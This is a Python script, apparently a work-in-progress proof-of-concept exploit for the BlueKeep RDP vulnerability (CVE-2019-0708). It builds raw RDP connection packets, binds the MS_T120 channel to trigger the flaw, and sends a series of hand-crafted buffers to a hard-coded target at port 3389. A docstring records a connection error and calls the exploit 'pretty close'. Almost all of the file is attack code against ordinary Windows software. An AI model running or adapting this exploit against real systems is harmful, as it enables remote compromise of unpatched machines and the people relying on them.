import time
import socket
import struct

from OpenSSL import SSL
from OpenSSL.SSL import SysCallError
from impacket.impacket.structure import Structure


"""
alright we're pretty close for right now, but the issue is that we get an error when we connect
python rdpborn.py 
sending packets...
all packets sent successfully, attempting to generate session
Traceback (most recent call last):
  File "rdpborn.py", line 440, in <module>
    main()
  File "rdpborn.py", line 436, in main
    session.sendall(bytes(final_bar_bytes))
  File "/Users/admin/bin/python/printers/venv/cve-2019-0708/lib/python2.7/site-packages/OpenSSL/SSL.py", line 1773, in sendall
    self._raise_ssl_error(self._ssl, result)
  File "/Users/admin/bin/python/printers/venv/cve-2019-0708/lib/python2.7/site-packages/OpenSSL/SSL.py", line 1639, in _raise_ssl_error
    raise SysCallError(errno, errorcode.get(errno))
OpenSSL.SSL.SysCallError: (32, 'EPIPE')
Other than that, it's working pretty well @NullArray. Let me know if you figure anything out that's exciting
"""


class TpKT(Structure):
    commonHdr = (
        ('Version', 'B=3'),
        ('Reserved', 'B=0'),
        ('Length', '>H=len(TPDU)+4'),
        ('_TPDU', '_-TPDU', 'self["Length"]-4'),
        ('TPDU', ':=""')
    )


class TpDU(Structure):
    commonHdr = (
        ('LengthIndicator', 'B=len(VariablePart)+1'),
        ('Code', 'B=0'),
        ('VariablePart', ':=""')
    )

    def __init__(self, data=None):
        Structure.__init__(self, data)
        self['VariablePart'] = ''


class CrTPDU(Structure):
    commonHdr = (
        ('DST-REF', '<H=0'),
        ('SRC-REF', '<H=0'),
        ('CLASS-OPTION', 'B=0'),
        ('Type', 'B=0'),
        ('Flags', 'B=0'),
        ('Length', '<H=8')
    )


class DataTPDU(Structure):
    commonHdr = (
        ('EOT', 'B=0x80'),
        ('UserData', ':=""'),
    )

    def __init__(self, data=None):
        Structure.__init__(self, data)
        self['UserData'] = ''


class RdpNegReq(CrTPDU):
    structure = (
        ('requestedProtocols', '<L'),
    )

    def __init__(self, data=None):
        CrTPDU.__init__(self, data)
        if data is None:
            self['Type'] = 1


def generate_primary_buffer(padding):
    return (
            "\x03\x00"  # Header
            "\x01\xca"  # Size
            "\x02\xf0\x80"  # X224
            "\x7f\x65"
            "\x82\x07"  # +0xA9
            "\xc2\x04"
            "\x01\x01\x04\x01\x01\x01\x01\xff"
            "\x30\x19"
            "\x02\x01\x22"  # MaxChannelIDs
            "\x02\x01\x02"  # MaxUserIDs
            "\x02\x01\x00"  # MaxTokenIDs
            "\x02\x01\x01"  # Priorities
            "\x02\x01\x00"  # MinThroughput
            "\x02\x01\x01"  # MaxHeight
            "\x02\x02\xff\xff"  # MaxMCSPDUSize
            "\x02\x01\x02"  # ProtocolVersion
            "\x30\x19"
            "\x02\x01\x01"  # MaxChannelIDs
            "\x02\x01\x01"  # MaxUserIDs
            "\x02\x01\x01"  # MaxTokenIDs
            "\x02\x01\x01"  # Priorities
            "\x02\x01\x00"  # MinThroughput
            "\x02\x01\x01"  # MaxHeight
            "\x02\x02\x04\x20"  # MaxMCSPDUSize
            "\x02\x01\x02"  # ProtocolVersion
            "\x30\x1c"
            "\x02\x02\xff\xff"  # MaxChannelIDs
            "\x02\x02\xfc\x17"  # MaxUserIDs
            "\x02\x02\xff\xff"  # MaxTokenIDs
            "\x02\x01\x01"  # Priorities
            "\x02\x01\x00"  # MinThroughput
            "\x02\x01\x01"  # MaxHeight
            "\x02\x02\xff\xff"  # MaxMCSPDUSize
            "\x02\x01\x02"  # ProtocolVersion
            "\x04"
            "\x82\x01"
            "\x61"
            "\x00\x05\x00\x14"
            "\x7c\x00\x01"
            "\x81\x48"
            "\x00"
            "\x08\x00"
            "\x10\x00"
            "\x01\xc0"
            "\x00"
            "\x44\x75\x63\x61"  # Duca
            "\x81\x34"
            "\x01\xc0"  # Type
            "\xea\x00"  # Length
            "\x0a\x00\x08\x00"  # Version
            "\x80\x07"  # DesktopWidth
            "\x38\x04"  # DesktopHeight
            "\x01\xca"  # ColorDepth
            "\x03\xaa"  # SASSequence
            "\x09\x04\x00\x00"  # KeyboardLayout
            "\xee\x42\x00\x00"  # BuildNumber
            "\x44\x00\x45\x00"  # ------
            "\x53\x00\x4b\x00"  # |
            "\x54\x00\x4f\x00"  # |
            "\x50\x00\x2d\x00"  # |
            "\x46\x00\x38\x00"  # |-- ClientName
            "\x34\x00\x30\x00"  # |
            "\x47\x00\x49\x00"  # |
            "\x4b\x00\x00\x00"  # ------
            "\x04\x00\x00\x00"  # KeyboardType
            "\x00\x00\x00\x00"  # KeyboardSub
            "\x0c\x00\x00\x00"  # KeyboardFunc
            "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  # ---
            "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  # |
            "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  # |--imeFileName
            "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  # ---	
            "\x01\xca"  # PostBeta2ColorDepth 
            "\x01\x00"  # ProductID
            "\x00\x00\x00\x00"  # SerialNumber
            "\x18\x00"  # HighColorDepth
            "\x0f\x00"  # SupportedColorDepth
            "\xaf\x07"  # EarlyCapabilityFlags
            "\x62\x00\x63\x00\x37\x00\x38\x00\x65\x00\x66\x00\x36\x00\x33\x00\x2d"  # --
            "\x00\x39\x00\x64\x00\x33\x00\x33\x00\x2d\x00\x34\x00\x31\x00\x39"  # |
            "\x38\x00\x38\x00\x2d\x00\x39\x00\x32\x00\x63\x00\x66\x00\x2d\x00"  # |-- ClientProductID
            "\x00\x31\x00\x62\x00\x32\x00\x64\x00\x61\x00\x42\x42\x42\x42\x07"  # |
            "\x00\x01\x00\x00\x00\x56\x02\x00\x00\x50\x01\x00\x00\x00\x00\x64\x00"  # ---
            "\x00"  # ConnType
            "\x00"  # Padding
            "\x64\x00\x00\x00"  # ServerProtocol
            "\x04\xc0\x0c\x00"  # PhysWidth
            "\x15\x00\x00\x00"  # PhysHeight
            "\x00\x00\x00\x00"  # Some Opt Field? idk
            "\x02\xc0"  # Type
            "\x0c\x00"  # Length
            "\x1b\x00\x00\x00"  # EncryptionMethod
            "\x00\x00\x00\x00"  # Extension
            "\x03\xc0"  # Name
            "\x38\x00"  # Length
            "\x05\x00\x00\x00"  # ChannelCount - "MAX OF 31"
            "\x72\x64\x70\x73\x6e\x64\x00\x00"
            "\x0f\x00\x00\xc0"
            "\x63\x6c\x69\x70\x72\x64\x72\x00"
            "\x00\x00\xa0\xc0"
            "\x64\x72\x64\x79\x6e\x76\x63\x00"
            "\x00\x00\x80\xc0"
            + padding
    )


def generate_secondary_buffer():
    return (
        "\x03\x00"  # Header
        "\x01\x61"  # Size	
        "\x02\xf0\x80"  # x224
        "\x64"  # SendDataRequest
        "\x00\x07"  # Initiator
        "\x03\xeb"  # ChannelID
        "\x70"  # DataPriority
        "\x81\x52"  # mcsSDrq
        "\x40\x00"  # Flags
        "\xa1\xa5"  # Flagshigh
        "\x09\x04\x09\x04"  # CodePage
        "\xbb\x47\x03\x00"  # Flags
        "\x00\x00"  # cbDomain
        "\x0e\x00"  # cbUsername
        "\x08\x00"  # cbPassword
        "\x00\x00"  # cbAlternateShell
        "\x00\x00"  # cbWorkingDir
        "\x00\x00"  # Skip Domain
        "\x67\x00\x72"  # Username
        "\x00\x31\x00\x7a"
        "\x00\x7a\x00\x31"
        "\x00\x79\x00"
        "\x00\x00"  # Seperator	
        "\x74\x00\x65\x00"  # Password
        "\x73\x00\x74\x00"
        "\x00\x00\x00\x00\x00\x00"  # Skip AlternateShell and WorkingDir
        "\x02\x00"  # clientAddressFamily
        "\x1c\x00"  # cbClientAddress
        "\x31\x00\x39"  # clientAddress
        "\x00\x32\x00\x2e"
        "\x00\x31\x00\x36"
        "\x00\x38\x00\x2e"
        "\x00\x32\x00\x33"
        "\x00\x32\x00\x2e"
        "\x00\x31"
        "\x00\x00"  # Seperator	
        "\x00\x40"  # cbClientDir
        "\x00\x43\x00\x3a"  # clientDir
        "\x00\x5c\x00\x57"
        "\x00\x49\x00\x4e"
        "\x00\x44\x00\x4f"
        "\x00\x57\x00\x53"
        "\x00\x5c\x00\x73"
        "\x00\x79\x00\x73"
        "\x00\x74\x00\x65"
        "\x00\x6d\x00\x33"
        "\x00\x32\x00\x5c"
        "\x00\x6d\x00\x73"
        "\x00\x74\x00\x73"
        "\x00\x63\x00\x61"
        "\x00\x78\x00\x2e"
        "\x00\x64\x00\x6c"
        "\x00\x6c\x00"
        "\x00"  # Seperator
        "\x00\xa4\x01"
        "\x00\x00\x4d\x00\x6f\x00\x75"  # TimeZone
        "\x00\x6e\x00\x74\x00\x61\x00"
        "\x69\x00\x6e\x00\x20\x00\x53"
        "\x00\x74\x00\x61\x00\x6e\x00"
        "\x64\x00\x61\x00\x72\x00\x64"
        "\x00\x20\x00\x54\x00\x69\x00"
        "\x6d\x00\x65\x00"
        "\x00\x00\x00\x00\x00\x00\x00"  # Skipped params
        "\x00\x00\x00\x00\x00\x00\x00"
        "\x00\x00\x00\x00\x00\x00\x00"
        "\x00\x0b\x00\x00\x00\x01\x00"
        "\x02\x00\x00\x00\x00\x00\x00"
        "\x00\x00\x00\x00\x00"
        "\x4d\x00\x6f\x00\x75\x00\x6e"  # Timezone
        "\x00\x74\x00\x61\x00\x69\x00"
        "\x6e\x00\x20\x00\x44\x00\x61"
        "\x00\x79\x00\x6c\x00\x69\x00"
        "\x67\x00\x68\x00\x74\x00\x20"
        "\x00\x54\x00\x69\x00\x6d\x00"
        "\x65\x00\x00\x00"
        "\x00\x00\x00"
        "\x00\x00\x00\x00\x00\x00\x00"
        "\x00\x00\x00\x00\x00\x00\x00"
        "\x00\x00\x00\x03\x00\x00\x00"
        "\x02\x00\x02\x00\x00\x00\x00"
        "\x00\x00\x00\xc4\xff\xff\xff"
        "\x01\x00\x00\x00\x06\x00\x00"
        "\x00\x00\x00\x64\x00\x00\x00"
    )


def generate_third_buffer():
    return (
        "\x03\x00\x02\x63\x02\xf0\x80\x64\x00\x07\x03\xeb\x70\x82\x54\x54"
        "\x02\x13\x00\xf0\x03\xea\x03\x01\x00\xea\x03\x06\x00\x3e\x02\x4d"
        "\x53\x54\x53\x43\x00\x17\x00\x00\x00\x01\x00\x18\x00\x01\x00\x03"
        "\x00\x00\x02\x00\x00\x00\x00\x1d\x04\x00\x00\x00\x00\x00\x00\x00"
        "\x00\x02\x00\x1c\x00\x20\x00\x01\x00\x01\x00\x01\x00\x80\x07\x38"
        "\x04\x00\x00\x01\x00\x01\x00\x00\x1a\x01\x00\x00\x00\x03\x00\x58"
        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
        "\x00\x00\x00\x00\x00\x01\x00\x14\x00\x00\x00\x01\x00\x00\x00\xaa"
        "\x00\x01\x01\x01\x01\x01\x00\x00\x01\x01\x01\x00\x01\x00\x00\x00"
        "\x01\x01\x01\x01\x01\x01\x01\x01\x00\x01\x01\x01\x00\x00\x00\x00"
        "\x00\xa1\x06\x06\x00\x00\x00\x00\x00\x00\x84\x03\x00\x00\x00\x00"
        "\x00\xe4\x04\x00\x00\x13\x00\x28\x00\x03\x00\x00\x03\x78\x00\x00"
        "\x00\x78\x00\x00\x00\xfc\x09\x00\x80\x00\x00\x00\x00\x00\x00\x00"
        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x08"
        "\x00\x06\x00\x00\x00\x07\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00"
        "\x00\x05\x00\x0c\x00\x00\x00\x00\x00\x02\x00\x02\x00\x08\x00\x0a"
        "\x00\x01\x00\x14\x00\x15\x00\x09\x00\x08\x00\x00\x00\x00\x00\x0d"
        "\x00\x58\x00\x91\x00\x20\x00\x09\x04\x00\x00\x04\x00\x00\x00\x00"
        "\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
        "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
        "\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x08\x00\x01\x00\x00\x00\x0e"
        "\x00\x08\x00\x01\x00\x00\x00\x10\x00\x34\x00\xfe\x00\x04\x00\xfe"
        "\x00\x04\x00\xfe\x00\x08\x00\xfe\x00\x08\x00\xfe\x00\x10\x00\xfe"
        "\x00\x20\x00\xfe\x00\x40\x00\xfe\x00\x80\x00\xfe\x00\x00\x01\x40"
        "\x00\x00\x08\x00\x01\x00\x01\x03\x00\x00\x00\x0f\x00\x08\x00\x01"
        "\x00\x00\x00\x11\x00\x0c\x00\x01\x00\x00\x00\x00\x28\x64\x00\x14"
        "\x00\x0c\x00\x01\x00\x00\x00\x00\x00\x00\x00\x15\x00\x0c\x00\x02"
        "\x00\x00\x00\x00\x0a\x00\x01\x1a\x00\x08\x00\xaf\x94\x00\x00\x1c"
        "\x00\x0c\x00\x12\x00\x00\x00\x00\x00\x00\x00\x1b\x00\x06\x00\x01"
        "\x00\x1e\x00\x08\x00\x01\x00\x00\x00\x18\x00\x0b\x00\x02\x00\x00"
        "\x00\x03\x0c\x00\x1d\x00\x5f\x00\x02\xb9\x1b\x8d\xca\x0f\x00\x4f"
        "\x15\x58\x9f\xae\x2d\x1a\x87\xe2\xd6\x01\x03\x00\x01\x01\x03\xd4"
        "\xcc\x44\x27\x8a\x9d\x74\x4e\x80\x3c\x0e\xcb\xee\xa1\x9c\x54\x05"
        "\x31\x00\x31\x00\x00\x00\x01\x00\x00\x00\x25\x00\x00\x00\xc0\xcb"
        "\x08\x00\x00\x00\x01\x00\xc1\xcb\x1d\x00\x00\x00\x01\xc0\xcf\x02"
        "\x00\x08\x00\x00\x01\x40\x00\x02\x01\x01\x01\x00\x01\x40\x00\x02"
        "\x01\x01\x04"
    )


def generate_fourth_buffer():
    return (
        "\x03\x00\x00\x24\x02\xf0\x80\x64\x00\x07\x03\xeb\x70\x16\x16\x00"
        "\x17\x00\xf0\x03\xea\x03\x01\x00\x00\x01\x08\x00\x1f\x00\x00\x00"
        "\x01\x00\xea\x03"
    )


def generate_fifth_buffer():
    return (
        "\x03\x00\x00\x28\x02\xf0\x80\x64\x00\x07\x03\xeb\x70\x1a\x1a\x00"
        "\x17\x00\xf0\x03\xea\x03\x01\x00\x00\x01\x0c\x00\x14\x00\x00\x00"
        "\x01\x00\x00\x00\x00\x00\x00\x00"
    )


def generate_final_buffer():
    return (
        "\x03\x00\x00\x22\x02\xf0\x80\x64\x00\x07\x03\xef\x70\x14\x0c\x00"
        "\x00\x00\x03\x00\x00\x00\x72\x41\x41\x41\x41\x41\x41\x41\x41\x41"
        "\x41\x41"
    )


def packer(current_buffer):
    size0 = struct.pack(">h", len(current_buffer))
    size1 = struct.pack(">h", len(current_buffer) - 12)
    size2 = struct.pack(">h", len(current_buffer) - 109)
    size3 = struct.pack(">h", len(current_buffer) - 118)
    size4 = struct.pack(">h", len(current_buffer) - 132)
    size5 = struct.pack(">h", len(current_buffer) - 390)
    barr = bytearray()
    barr.extend(map(ord, current_buffer))
    barr[2] = size0[0]
    barr[3] = size0[1]
    barr[10] = size1[0]
    barr[11] = size1[1]
    barr[107] = size2[0]
    barr[108] = size2[1]
    barr[116] = 0x81
    barr[117] = size3[1]
    barr[130] = 0x81
    barr[131] = size4[1]
    barr[392] = size5[1]
    return barr


def construct_channel_packets(session):
    packet1 = b"\x03\x00\x00\x0c\x02\xf0\x80\x04\x01\x00\x01\x00"
    session.send(packet1)
    packet2 = b"\x03\x00\x00\x08\x02\xf0\x80\x28"
    session.send(packet2)
    session.recv(1024)
    packet4 = b"\x03\x00\x00\x0c\x02\xf0\x80\x38\x00\x08\x03\xeb"
    session.send(packet4)
    session.recv(1024)
    packet5 = b"\x03\x00\x00\x0c\x02\xf0\x80\x38\x00\x08\x03\xec"
    session.send(packet5)
    session.recv(1024)
    packet6 = b"\x03\x00\x00\x0c\x02\xf0\x80\x38\x00\x08\x03\xed"
    session.send(packet6)
    session.recv(1024)
    packet7 = b"\x03\x00\x00\x0c\x02\xf0\x80\x38\x00\x08\x03\xee"
    session.send(packet7)
    session.recv(1024)
    packet8 = b"\x03\x00\x00\x0c\x02\xf0\x80\x38\x00\x08\x03\xef"
    session.send(packet8)


def construct_other():
    tpkt = TpKT()
    tpdu = TpDU()
    rdp_neg = RdpNegReq()
    rdp_neg['Type'] = 1
    rdp_neg['requestedProtocols'] = 1
    tpdu['VariablePart'] = rdp_neg.getData()
    tpdu['Code'] = 0xe0
    tpkt['TPDU'] = tpdu.getData()
    return tpkt, tpdu, rdp_neg


def generate_session(ip_address, port=3389):
    session = socket.socket()
    session.connect((ip_address, port))
    return session


def main(channel=32):
    ordination = lambda b: map(ord, b)
    tpkt, tpdu, rdp_ne = construct_other()
    session = generate_session("10.0.1.55")
    session.sendall(tpkt.getData())
    received = session.recv(1024)
    if received:
        ctx = SSL.Context(SSL.TLSv1_METHOD)
        session = SSL.Connection(ctx, session)
        session.set_connect_state()
        session.do_handshake()
        # icaBindChannel aka MS_T120
        padding = channel * "\x4d\x53\x5f\x54\x31\x32\x30\x00\x00\x00\x00\x00"
        primary_buffer = generate_primary_buffer(padding)
        bar_bytes = packer(primary_buffer)
        print("sending packets...")
        session.sendall(bytes(bar_bytes))
        construct_channel_packets(session)
        secondary_buffer = generate_secondary_buffer()
        secondary_bar_bytes = bytearray()
        secondary_bar_bytes.extend(ordination(secondary_buffer))
        session.sendall(bytes(secondary_bar_bytes))
        third_buffer = generate_third_buffer()
        third_bary_bytes = bytearray()
        third_bary_bytes.extend(ordination(third_buffer))
        session.sendall(bytes(third_bary_bytes))
        fourth_buffer = generate_fourth_buffer()
        fourth_bar_bytes = bytearray()
        fourth_bar_bytes.extend(ordination(fourth_buffer))
        session.sendall(bytes(fourth_bar_bytes))
        fifth_buffer = generate_fifth_buffer()
        fifth_bar_bytes = bytearray()
        fifth_bar_bytes.extend(ordination(fifth_buffer))
        session.sendall(bytes(fifth_bar_bytes))
        print("all packets sent successfully, attempting to generate session")
        # trying it as a raise condition ...
        connected = False
        while not connected:
            try:
                time.sleep(3)
                session.recv(1024)
                final_buffer = generate_final_buffer()
                final_bar_bytes = bytearray()
                final_bar_bytes.extend(ordination(final_buffer))
                session.sendall(bytes(final_bar_bytes))
                session.recv(1024)
                connected = True
            except SysCallError:
                pass
        print("connection established")


main()